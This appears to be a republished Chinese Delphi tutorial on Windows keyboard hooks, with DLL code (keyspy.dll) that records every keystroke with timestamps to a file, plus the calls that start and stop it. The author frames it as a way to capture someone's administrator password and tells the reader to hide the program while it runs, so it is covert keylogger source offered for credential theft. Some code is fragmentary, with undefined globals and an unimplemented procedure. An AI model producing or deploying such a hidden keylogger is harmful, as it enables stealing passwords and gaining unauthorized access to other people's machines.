Delphi编程使用HOOK监视Windows

  文中详细介绍了如何通过Delphi编程使用HOOK监视Windows的步骤,同时给出了程序实例。

  每个程序都有自己的生存空间,在Windows系统中你可以在任何时候让你的程序执行一些操作,还可以触发消息,触发的消息分为三种,一是操作你程序的界面,onClick,onMouseMove等等,另外一个可以使用Windows的消息机制来捕获一些系统消息,但是如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了,虽然还有其他方法,但不得不承认,HOOK是一个比较简单解决问题的途径。

  下面就来举个例子:

  如果你需要访问某个人的机器,那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记录所有的键盘操作呢?

  首先需要申明一点,Hook不同于一般的应用程序,需要作为一个全局DLL出现,否则无法在你程序不激活的状态捕获其他信息的,(当然你可以用Windows消息,这个问题不在这里讨论)。

  写个DLL定义一下函数

 
 
 
  1. function setkeyhook:bool;export;  
  2. function endkeyhook:bool;export;  
  3. procedure keyhookexit;far;  
  4. procedure SetMainHandle(Handle: HWND); export;forward;  
  5. function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;  
  6.  
  7. procedure EntryPointProc(Reason: Integer);  
  8.  const 
  9.   hMapObject: THandle = 0;  
  10.  begin  
  11.   case reason of  
  12.    DLL_PROCESS_ATTACH:  
  13.   begin  
  14.    hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT’);  
  15.    rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);  
  16.   end;  
  17.   DLL_PROCESS_DETACH:  
  18.  begin  
  19.  try 
  20.   UnMapViewOfFile(rHookRec);  
  21.   CloseHandle(hMapObject);  
  22.   except  
  23.  end;  
  24. end;  
  25. end;  
  26. end;  
  27. procedure keyhookexit;far;  
  28. begin  
  29. if hNexthookproc<>0 then endkeyhook;  
  30.  exitproc:=procsaveexit;  
  31. end;  
  32. function endkeyhook:bool;export;  
  33. begin  
  34. if hNexthookproc<>0 then  
  35. begin  
  36.  unhookwindowshookex(hNexthookproc);  
  37.  hNexthookproc:=0;  
  38.  messagebeep(0);  
  39. end;  
  40. result:=hNexthookproc=0;  
  41. MainHandle:=0;  
  42. end;  
  43.  
  44. function Setkeyhook:bool;export;  
  45. begin  
  46.  hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);  
  47.  result:=hNexthookproc<>0;  
  48. end;  
  49. function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;  
  50. var  
  51.  s:Tstringlist;  
  52. begin  
  53.  if icode<0 then  
  54.  begin  
  55.   result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);  
  56.   exit;  
  57.  end;  
  58.  if lparam<0 then  
  59.  begin  
  60.   exit;  
  61.  end;  
  62.  s:=TStringlist.Create;  
  63.  if FileExists(afilename) then  
  64.   s.LoadFromFile(afilename);  
  65.  
  66.   //将敲打的键盘字符保存到文件中   
  67.   s.Add(formatdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) + char(wParam) );  
  68.   s.SaveToFile(afilename);  
  69.   s.Free;  
  70.  
  71.   result:=0;  
  72.  end;  

  Dll的Project文件中定义如下

 
 
 
  1. exports  
  2. setkeyhook index 1,  
  3. endkeyhook index 2,  
  4. SetMainHandle index 3;  
  5.  
  6. begin   
  7. hNexthookproc:=0;  
  8. procsaveexit:=exitproc;  
  9. DllProc := @EntryPointProc;  
  10. EntryPointProc(DLL_PROCESS_ATTACH);  
  11. end;

  这样DLL就定义好了,接下来就是画个界面:

 
 
 
  1. function setkeyhook:bool;external ’keyspy.dll’;  
  2. function endkeyhook:bool;external ’keyspy.dll’;  
  3. procedure SetMainHandle(Handle: HWND); external ’keyspy.dll’;  
  4. //开始捕获键盘  
  5. SetMainHandle(handle);  
  6. setkeyhook  
  7. //中止捕获键盘  
  8. endkeyhook    

  然后吧你程序隐蔽起来,启动捕获键盘,在中止捕获之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:这些代码是临时写的,仅是为了说明如何写个hook程序。

  另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,可以跟很多windows API来配合,通过很多技巧作出让人意想不到的效果。

本文标题:Delphi编程使用HOOK监视Windows
转载源于:http://www.shufengxianlan.com/qtweb/news49/349599.html

网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联